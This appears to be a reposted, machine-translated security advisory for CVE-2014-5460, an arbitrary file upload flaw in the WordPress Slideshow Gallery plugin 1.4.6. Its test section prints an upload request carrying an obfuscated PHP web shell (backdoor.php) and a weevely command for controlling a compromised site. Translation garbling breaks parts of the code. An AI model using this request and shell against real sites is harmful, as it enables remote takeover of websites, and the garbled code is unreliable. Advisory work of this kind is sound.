WordPress Slideshow Gallery plugin 'admin. php' Arbitrary File Upload Vulnerability

Source: Internet
Author: User
Tags cve asrp qcon

WordPress Slideshow Gallery plugin 'admin. php' Arbitrary File Upload Vulnerability

Release date:
Updated on: 2014-09-03

Affected Systems:
WordPress Slideshow Gallery 1.4.6
Unaffected system:
WordPress Slideshow Gallery 1.4.7
Description:
--------------------------------------------------------------------------------
Bugtraq id: 69485
CVE (CAN) ID: CVE-2014-5460

The WordPress Slideshow Gallery plug-in displays the slides on the WordPress website.

Slideshow Gallery 1.4.6 and other versions allow any registered user to upload the PHP shell to the host system. Attackers can exploit this vulnerability to upload arbitrary files to the affected computer, as a result, arbitrary code is executed in the context of the affected application.

<* Source: Jes & #195; OS Ram & #195;-rez Pichardo

Link: http://www.securityfocus.com/archive/1/533280
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
1. An attacker uploads a PHP shell file (I. e. backdoor. php ):

POST http: // 192.168.31.128/wordpress/wp-admin/admin. php? Page = slideshow-slides
& Method = save HTTP/1.1
Content-Type: multipart/form-data
Content-Disposition: form-data; name = "image_file"; filename = "backdoor. php"
Content-Type: application/octet-stream
<? Php
$ Kvgk = str_replace ("y", "", "ysytyry_yreypylyayce ");
$ Dawj = "pdgv4cgxvaxqno2vzhjarzh8gjzwnlirrzhlic + JzzhtldmFsKGJhc2U2NF9kZWNv
ZGUz ";
$ Asrp = "gnjywnkycplcbqb2lukgfycmf5x3ngwnlkcrhlcrjkzhcrhks0zkskpksk7zwzhn
ObyAnPC8nLzhiRrLic + Jzt9 ";
$ Gxfr = "Custom
YcpLCBhcnJheSzh ";
$ Fdcd = "Hangzhou
GMzhoJGEpPjMpezhyRrPSd ";
$ Uuod = $ kvgk ("j", "", "bjase6j4j_jdjejcjojde ");
$ Qcon = $ kvgk ("av", "", "avcraveaavteav_avfavuavnavcavtiavoavn ");
$ Rpgy = $ qcon ('', $ uod ($ kvgk (" zh "," ", $ fdcd. $ dawj. $ gxfr. $ asrp); $ rpgy ();
?>

2. The backdoor is located at http: // VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor. ph
P
3. The attacker uses a security tool (I. e. weevely) in order to communicate with the backdoor.

# Weevely http: // VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor. ph
P whitexploit

4. Now the attacker has? Telnet-like console ?. Finally, the attacker has the remote control of the vulnerable website.

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

WordPress
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Https://wordpress.org/plugins/slideshow-gallery/changelog

This article permanently updates the link address:

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.